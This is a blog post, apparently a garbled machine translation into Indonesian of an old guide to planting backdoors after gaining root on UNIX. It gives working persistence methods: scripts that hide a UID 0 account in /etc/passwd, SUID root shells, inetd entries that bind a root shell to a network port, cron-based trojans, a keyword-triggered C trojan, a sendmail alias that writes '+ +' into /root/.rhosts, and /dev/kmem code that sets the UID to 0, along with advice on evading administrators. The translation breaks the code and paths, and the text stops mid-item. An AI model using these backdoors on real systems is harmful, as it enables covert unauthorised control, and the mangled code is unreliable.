Thursday

UNIX TERBARU 2016

                                                      UNIX TERBARU 2016

Ok ..... Anda sudah berada di sana selama sepanjang malam. Mencoba semua eksploitasi yang dapat Anda pikirkan. Sistem ini tampaknya ketat. Sistem ini terlihat ketat.Sistem * adalah * ketat. Anda sudah mencoba segalanya. passwds Default, passwds diterka, NIS kelemahan, lubang NFS, salahizin, kondisi ras, eksploitasi SUID, bug Sendmail, dan seterusnya ... Tidak ada. TUNGGU! Apa itu!?!? SEBUAH "#" ???? Akhirnya!Setelah tampak bekerja keras tanpa henti, Anda sudah berhasil mencuri akar. Sekarang apa? Bagaimana Anda memegang ini super-user berhargakeistimewaan Anda telah bekerja keras untuk mencapai ....?
Artikel ini dimaksudkan untuk menunjukkan cara untuk memegang akar setelah Anda memilikinya. Hal ini dimaksudkan untuk hacker dan administrator sama.Dari perspektif hacking, jelas apa yang baik makalah ini akan melakukan Anda. Admin juga bisa mendapatkan keuntungan dari makalah ini. Pernahbertanya-tanya bagaimana yang hacker sial selalu berhasil muncul, bahkan ketika Anda berpikir Anda sudah benar-benar diberantas dia dari Andasistem?Daftar ini tidak komprehensif. Ada banyak cara untuk meninggalkan backdoors ke komputer UNIX karena adacara menjadi satu.
Sebelumnya
Mengetahui lokasi file sistem kritis. Ini harus jelas (Jika Anda tidak bisa daftar salah satu atas kepala Anda, berhenti membacasekarang, dapatkan buku tentang UNIX, membacanya, kemudian kembali ke saya ...). Keakraban dengan format file passwd (termasuk umum 7 bidangFormat, sistem spesifik konvensi penamaan, mekanisme membayangi, dll ...). Tahu vi. Banyak sistem tidak akan memiliki orang-orangkuat, editor user-friendly seperti Pico dan Emacs. Vi juga cukup berguna untuk perlu cepat seach dan mengedit file besar. JikaAnda menghubungkan jarak jauh (melalui dial-up / telnet / rlogin / whatver) itu selalu baik untuk memiliki program terminal yang kuat yang memilikibagus, FAT penyangga scrollback. Hal ini akan berguna jika Anda ingin memotong dan menyisipkan kode, file rc, skrip shell, dll ...
The permenance dari backdoors ini akan tergantung sepenuhnya pada saavy teknis administrator. Mengalami danadministrator terampil akan bijaksana untuk banyak (jika tidak semua) dari backdoors ini. Tapi, jika Anda telah berhasil mencuri akar, kemungkinan yangadmin tidak terampil (atau up to date pada laporan bug) karena dia harus, dan banyak pintu ini mungkin berada di tempat untuk beberapa waktudatang. Satu hal utama yang harus diperhatikan, adalah kenyataan bahwa jika Anda dapat menutupi Anda melacak selama awal break-in, tidak ada yang akanmencari pintu belakang.


The jelas baru
[1] Tambahkan UID 0 akun ke file passwd. Ini mungkin metode yang paling jelas dan cepat menemukan dari rentry. Saya tlalat bendera merah untuk admin, mengatakan "Kita diserang !!!". Jika Anda harus melakukan ini, saran saya adalah JANGAN hanyatambahkan atau append. Siapapun kausal memeriksa file passwd akan melihat ini. Jadi, mengapa tidak menempel di tengah ...
#! / Bin / csh# Menyisipkan UID 0 akun ke tengah file passwd.# Ada kemungkinan cara untuk melakukan hal ini di 1/2 garis AWK atau SED. Baiklah.# daemon9@netcom.com
set linecount = `wc -l / etc / passwd`cd # Lakukan ini di rumah.cp / etc / passwd ./temppass # Keselamatan pertama.gema passwd memiliki $ linecount [1] baris.@ Linecount [1] / = 2@ Linecount [1] + = 1 # kita hanya ingin 2 file tempgema Membuat dua file, $ linecount [1] baris masing-masing \ (atau sekitar itu \).perpecahan - $ linecount [1] ./temppass # passwd tali opsionalecho "EvilUser :: 0: 0:. Mr Sinister: / home / manis / home: / bin / csh" >> ./xaacat ./xab >> ./xaamv ./xaa / etc / passwdchmod 644 / etc / passwd # atau apa pun itu sebelumnyarm ./xa* ./temppassmenggemakan Selesai ...
Pernah, pernah, mengubah password root. Alasan yang jelas.
[2] Dalam nada yang sama, memungkinkan account dinonaktifkan sebagai UID 0, seperti Sync. Atau, mungkin, akun somwhere terkubur jauh di dalampasswd telah ditinggalkan, dan dinonaktifkan oleh sysadmin. Mengubah UID nya dengan 0 (dan menghapus '*' dari keduabidang).
[3] Tinggalkan akar shell SUID di / tmp.
#! / Bin / sh# Semua orang favorit ...
cp / bin / csh /tmp/.evilnaughtyshell # Jangan nama itu yang ...chmod 4755 /tmp/.evilnaughtyshell
Banyak sistem menjalankan pekerjaan cron untuk membersihkan / tmp malam. Kebanyakan sistem bersih / tmp pada reboot. Banyak sistem memiliki / tmp mountuntuk melarang program SUID dari mengeksekusi. Anda dapat mengubah semua ini, tetapi jika filesystem mulai mengisi, orang mungkinmelihat ... tapi, hei, * ini * bagian terbuka ....). Saya tidak akan detail perubahan Diperlukan karena mereka dapat cukup sistemspesifik. Periksa / var / spool / cron / crontab / root dan / etc / fstab.


The Veiled
[4] File konfigurasi super-server tidak tempat pertama sysadmin akan terlihat, jadi mengapa tidak menempatkan satu di sana? Pertama, beberapainfo latar belakang: The Internet daemon (/ etc / inetd) mendengarkan permintaan sambungan pada TCP dan UDP port dan menumbuhkan yangprogram yang sesuai (anada kan server) ketika permintaan sambungan tiba. Format file /etc/inetd.conf sederhana. Khasgaris terlihat seperti ini:
(1) (2) (3) (4) (5) (6) (7)aliran ftp tcp nowait root / usr / etc / ftpd ftpdberbicara dgram udp menunggu root / usr / etc / ntalkd ntalkd
Lapangan (1) adalah nama daemon yang akan muncul di / etc / jasa. Ini memberitahu inetd apa yang harus dicari di / etc / jasa untuk menentukanport harus mengaitkan nama program dengan. (2) memberitahu inetd tipe koneksi soket daemon akan berharap.TCP menggunakan aliran, dan UDP menggunakan datagrams. Lapangan (3) adalah bidang protokol yang merupakan salah satu dari dua protokol transport, TCPatau UDP. Lapangan (4) menentukan apakah atau tidak daemon adalah berulang atau bersamaan. A 'menunggu' flag menunjukkan bahwa server akanmemproses koneksi dan membuat semua koneksi berikutnya menunggu. 'NOWAIT' berarti server akan menerima koneksi, menelurkanproses anak untuk menangani koneksi, dan kemudian kembali tidur, menunggu untuk koneksi lebih lanjut. Lapangan (5) adalah pengguna (atau lebihinportantly, UID) yang daemon dijalankan sebagai. (6) adalah program untuk menjalankan ketika sambungan tiba, dan (7) adalah aktualperintah (dan argumen opsional). Jika program sepele (anada kan tidak memerlukan interaksi pengguna) inetd dapat menanganinya secara internal.Hal ini dilakukan dengan bendera 'internal' di bidang (6) dan (7).Jadi, untuk menginstal backdoor berguna, memilih layanan yang tidak sering digunakan, dan mengganti daemon yang biasanya akan menanganinyadengan sesuatu yang lain. Sebuah program yang menciptakan akar shell SUID, sebuah program yang menambahkan akun root untuk Anda di / etc / passwdFile, dll ...Untuk sindiran-gangguan, cobalah ini:
Buka /etc/inetd.conf dalam editor yang tersedia. Cari baris yang bertuliskan:

       
        
siang stream tcp nowait akar internal yang
dan mengubahnya ke:

        
siang stream tcp nowait / bin / sh sh -i.
Anda sekarang perlu untuk me-restart / etc / inetd sehingga akan membaca ulang file konfigurasi. Terserah Anda bagaimana Anda ingin melakukan hal ini. Anda bisa membunuh danproses restart, (kill -9, / usr / sbin / inetd atau / usr / etc / inetd) yang akan interuppt SEMUA koneksi jaringan (sehingga merupakan ide yang baikuntuk melakukan hal ini luar jam sibuk).
[5] Sebuah opsi untuk mengorbankan layanan terkenal akan menginstal yang baru, yang menjalankan program pilihan Anda. SatuSolusi sederhana adalah untuk mengatur shell berjalan mirip dengan backdoor di atas. Anda perlu memastikan entri muncul di/ Etc / jasa serta di /etc/inetd.conf. Format file / etc / services sederhana:
(1) (2) / (3) (4)smtp 25 / tcp email
Lapangan (1) adalah layanan, bidang (2) adalah nomor port, (3) adalah jenis protokol layanan mengharapkan, dan (4) adalah nama umumterkait dengan layanan. Misalnya, tambahkan baris ini ke / etc / services:

        
jahat 22 / tcp jahat
dan baris ini ke /etc/inetd.conf:

        
jahat stream tcp nowait / bin / sh sh -i
Restart inetd seperti sebelumnya.
Catatan: Berpotensi, ini adalah backdoors sangat kuat. Mereka tidak hanya menawarkan rentry lokal dari akun apapun pada sistem,mereka menawarkan rentry dari * akun setiap * di * setiap * komputer di Internet.
[6] trojan berbasis Cron I. Cron adalah alat administrasi sistem indah. Ini juga merupakan alat yang bagus untuk backdoors, karena rootcrontab akan, baik, dijalankan sebagai root ... Sekali lagi, tergantung pada tingkat pengalaman dari sysadmin (dan pelaksanaannya), inibackdoor mungkin atau mungkin tidak bertahan. / Var / spool / cron / crontab / root adalah di mana daftar root untuk crontab yang anada kan berada. Di sini, Anda memilikibeberapa pilihan. Saya akan daftar hanya beberapa, seperti backdoors berbasis cron hanya dibatasi oleh imajinasi Anda. Cron adalah jam daemon.Ini adalah alat untuk secara otomatis mengeksekusi perintah pada tanggal dan waktu yang ditentukan. Crontab adalah perintah yang digunakan untuk menambah, menghapus,atau melihat entri crontab Anda. Hal ini hanya sebagai mudah untuk secara manual mengedit file / var / spool / crontab / root karena menggunakan crontab. Sebuah crontabentri memiliki enam bidang:
(1) (2) (3) (4) (5) (6)
 
0 0 * * 1 / usr / bin / updatedb
Fields (1) - (5) adalah sebagai berikut: menit (0-59), jam (0-23), hari bulan (1-31) bulan tahun (1-12), hari dalam seminggu(0-6). Lapangan (6) adalah perintah (atau shell script) untuk mengeksekusi. Shell script di atas dijalankan pada hari Senin. Untuk mengeksploitasi cron,hanya menambahkan sebuah entri ke / var / spool / crontab / root. Sebagai contoh: Anda dapat memiliki cronjob yang akan berjalan setiap hari dan melihat di/ Etc / passwd untuk UID 0 akun sebelumnya kami menambahkan, dan menambahkan kalau dia hilang, atau melakukan apa-apa jika tidak (tidak mungkinmenjadi ide yang buruk untuk benar-benar * menyisipkan * ini kode shell ke entri crontab shell script yang sudah terpasang, untuk lebih mengaburkan Andaniat teduh). Tambahkan baris ini ke / var / spool / crontab / root:

        
0 0 * * * / usr / bin / trojancode
Ini adalah script shell:
#! / Bin / csh# Apakah eviluser kami masih pada sistem? Mari kita pastikan dia.#daemon9@netcom.com
set evilflag = ( `grep eviluser / etc / passwd`)

if ($ # evilflag == 0) maka # Apakah dia ada?
       
        
set linecount = `wc -l / etc / passwd`
        
cd # Lakukan ini di rumah.
        
cp / etc / passwd ./temppass # Keselamatan pertama.
        
@ Linecount [1] / = 2
        
@ Linecount [1] + = 1 # kita hanya ingin 2 file temp
        
perpecahan - $ linecount [1] ./temppass # passwd tali opsional
        
echo "EvilUser :: 0: 0:. Mr Sinister: / home / manis / home: / bin / csh" >> ./xaa
        
cat ./xab >> ./xaa
        
mv ./xaa / etc / passwd
        
chmod 644 / etc / passwd # atau apa pun itu sebelumnya
        
rm ./xa* ./temppass
        
menggemakan Selesai ...lainberakhir jika
[7] Cron berbasis trojan II. satu ini dibawa ke perhatian saya oleh kita sendiri Mr. Zippy. Untuk ini, Anda perlu salinan/ Etc / passwd tersembunyi di suatu tempat. Dalam file passwd tersembunyi ini (menyebutnya /var/spool/mail/.sneaky) kami memiliki satu entri, akarakun dengan passwd yang Anda pilih. Kami menjalankan cronjob yang akan, setiap pagi di 2:30 (atau setiap pagi lainnya), menyimpansalinan nyata / etc / passwd, dan menginstal salah satu trojan ini sebagai nyata / etc / passwd selama satu menit (menyinkronkan swatch!).Setiap pengguna normal atau proses mencoba untuk login atau mengakses / etc / passwd akan mendapatkan error, tapi satu menit kemudian, segalanyaakan ok. Tambahkan baris berikut ke dalam file crontab root:


        
29 2 * * * / bin / usr / sneakysneaky_passwd
pastikan ini ada:
#echo "root: 1234567890123: 0: 0: Operator: /: / bin / csh"> /var/spool/mail/.sneaky
dan ini adalah shell script sederhana:
#! / Bin / csh# Instal trojan / etc / passwd file untuk satu menit#daemon9@netcom.com
cp / etc / passwd /etc/.temppasscp /var/spool/mail/.sneaky / etc / passwdtidur 60mv /etc/.temppass / etc / passwd
[8] Disusun kode trojan. ide sederhana. Alih-alih script shell, memiliki beberapa kode C yang bagus untuk mengaburkan efek. Ini dia.Pastikan itu berjalan sebagai root. Nama itu sesuatu innocous. Menyembunyikannya dengan baik.
/ * A trojan sedikit untuk membuat shell SUID root, jika argumen yang tepat adalahdiberikan. kode C, daripada shell untuk menyembunyikan efek yang jelas itu. * // * Daemon9@netcom.com * /
# include
#define KEYWORD "industry3"#define BufferSize 10
int main (argc, argv)int argc;char * argv []; {

        
int i = 0;

        
jika (argv [1]) {/ * kita punya argumen, itu kata kunci? * /

                
if (! (strcmp (KEYWORD, argv [1]))) {
                       
                                
/ * Ini adalah bagian trojan. * /
                        
sistem ( "cp / bin / csh /bin/.swp121");
                        
sistem ( "chown root /bin/.swp121");
                        
sistem ( "chmod 4755 /bin/.swp121");
                
}
        
}
                                
/ * Masukan mungkin sistem trojan spesifik Anda
                                   
Pesan di sini * /
                                
/ * Mari kita lihat seperti kita sedang melakukan sesuatu ... * /
        
printf ( "Sychronizing catatan gambar bitmap.");
        
/ * System ( "ls -alR /> & / dev / null> / dev / null &"); * /
        
untuk (; i <10; i ++) {
                
fprintf (stderr, ".");
                
tidur (1);
        
}
        
printf ( ". \ nDone \ n");
        
pulang (0);} / * End * utama /
[9] mengajukan The alias sendmail. Sendmail alias file memungkinkan untuk mail yang dikirim ke username tertentu baik ekspansi ke beberapapengguna, atau mungkin pipa output ke sebuah program. Paling terkenal dari ini adalah uudecode alias trojan. Cukup tambahkan baris:

 
"Decode:" | / usr / bin / uudecode "
ke / etc / alias. Biasanya hal, Anda kemudian akan membuat .rhosts uuencode file dengan path penuh tertanam.
#! / Bin / csh
# Buat file .rhosts kami. Catatan ini akan menampilkan ke stdout.
echo "+ +"> tmpfile/ Usr / bin / uuencode tmpfile /root/.rhosts
telnet sebelah situs yang diinginkan, port 25. Cukup fakemail untuk memecahkan kode dan digunakan sebagai tubuh subjek, versi uuencode dari.rhosts berkas. Untuk satu kapal (tidak dipalsukan, namun) melakukan ini:
% Echo "+ +" | / Usr / bin / /root/.rhosts uuencode | surat decode@target.com
Anda dapat kreatif seperti yang Anda inginkan dalam kasus ini. Anda dapat men-setup alias yang, ketika dikirimkan kepada, akan menjalankan program Andamemilih. Banyak dari script sebelumnya dan metode dapat digunakan di sini.


The Terselubung
[10] kode Trojan dalam program umum. Ini adalah metode yang agak licik yang benar-benar hanya terdeteksi oleh program tripwire tersebut.Idenya sederhana: menyisipkan kode trojan di sumber program yang umum digunakan. Beberapa program yang paling berguna bagi kita dalam hal inikasus yang su, login dan passwd karena mereka sudah menjalankan akar SUID, dan perlu ada modifikasi izin. Berikut adalah beberapacontoh umum dari apa yang Anda ingin lakukan, setelah mendapatkan source yang benar untuk rasa tertentu UNIX Andayang backdooring. (Catatan: ini tidak selalu mungkin, karena beberapa vendor UNIX tidak begitu murah hati dengan source mereka.)Karena kode sangat panjang dan berbeda untuk banyak rasa, saya hanya akan mencakup dasar pseudo-code:
mendapatkan input;jika input adalah bendera hardcoded khusus, menelurkan trojan jahat;lain jika input valid, terus;lain berhenti dengan kesalahan;...
Tidak rumit atau sulit. Trojan alam ini dapat dilakukan dalam waktu kurang dari 10 baris kode tambahan.


The Esoteric
[11] / dev / kmem mengeksploitasi. Ini merupakan virtual dari sistem. Sejak kernel terus parameter itu dalam memori, adalah mungkinmemodifikasi memori mesin untuk mengubah UID dari proses Anda. Untuk melakukannya mengharuskan / dev / kmem telah membaca / menulisizin. Langkah-langkah berikut dijalankan: Buka perangkat / dev / kmem, berusaha untuk halaman Anda dalam memori, menimpa UID dariProses Anda saat ini, kemudian menelurkan csh, yang akan mewarisi UID ini. Program berikut tidak hanya itu.
/ * Jika / kmem adalah dibaca dan ditulis, program ini akan mengubah penggunaUID dan GID ke 0. * // * Kode ini awalnya muncul di "keamanan UNIX: Sebuah tutorial praktis"dengan beberapa modifikasi oleh daemon9@netcom.com * /
# include# include# include# include# include# include# include
#define KEYWORD "nomenclature1"
struct pengguna userpage;alamat lama (), userlocation;
int main (argc, argv, envp)int argc;char * argv [], * envp []; {

        
count int, fd;
        
panjang di mana, lseek ();
       
        
jika (argv [1]) {/ * kita punya argumen, itu kata kunci? * /
                
if (! (strcmp (KEYWORD, argv [1]))) {
                        
fd = (open ( "/ dev / kmem", O_RDWR);

                        
jika (fd <0) {
                                
printf ( "Tidak dapat membaca atau menulis ke / dev / kmem \ n");
                                
perror (argv);
                                
exit (10);
                        
}
                               
                        
userlocation = alamat ();
                        
mana = (lseek (fd, userlocation, 0);
       
                        
jika (mana! = userlocation) {
                                
printf ( "Tidak dapat mencari ke halaman pengguna \ n");
                                
perror (argv);
                                
exit (20);
                        
}

                        
count = read (fd, & userpage, sizeof (struct pengguna));
       
                        
if (count! = sizeof (struct pengguna)) {
                                
printf ( "Tidak dapat membaca halaman pengguna \ n");
                                
perror (argv);
                                
exit (30);
                        
}

                        
printf ( "sekarang UID:% d \ n", userpage.u_ruid);
                        
printf ( "GID sekarang:% d \ n", userpage.g_ruid);
                       
                        
userpage.u_ruid = 0;
                        
userpage.u_rgid = 0;
                       
                        
mana = lseek (fd, userlocation, 0);

                        
jika (mana! = userlocation) {
                                
printf ( "Tidak dapat mencari ke halaman pengguna \ n");
                                
perror (argv);
                                
exit (40);
                        
}
                       
                        
menulis (fd, & userpage, ((char *) & (userpage.u_procp)) - ((char *) & userpage));
                       
                        
execle ( "/ bin / csh", "/ bin / csh", "- i", (char *) 0, envp);
                
}
        
}
} / * End * utama /
# include# include# include
#define LNULL ((LDFILE *) 0)
alamat lama () {
       
        
LDFILE * objek;
        
SYMENT simbol;
        
idx panjang = 0;

        
objek = ldopen ( "/ unix", LNULL);

        
if (! objek) {
                
fprintf (stderr, "Bisa tidak terbuka /unix.\n");
                
exit (50);
        
}

        
untuk (; ldtbread (objek, idx, & simbol) == SUKSES; idx ++) {
                
if (! strcmp ( "_ u", ldgetname (objek, & simbol))) {
                        
fprintf (stdout, "halaman User di 0x% 8.8x \ n", symbol.n_value);
                        
ldclose (objek);
                        
kembali (symbol.n_value);
                
}
        
}

        
fprintf (stderr, "Tidak bisa membaca tabel simbol di /unix.\n");
        
exit (60);}
[12] Sejak kode sebelumnya membutuhkan / dev / kmem menjadi diakses dunia, dan ini tidak mungkin peristiwa alam, kita perlu mengambilpeduli ini. Saran saya adalah untuk menulis script shell mirip dengan yang di [7] yang akan mengubah hak akses pada / dev / kmem untukJumlah diskrit waktu (misalnya 5 menit) dan kemudian mengembalikan izin asli. Anda dapat menambahkan sumber ini ke sumber di [7]:

No comments:

Post a Comment

KOMENTAR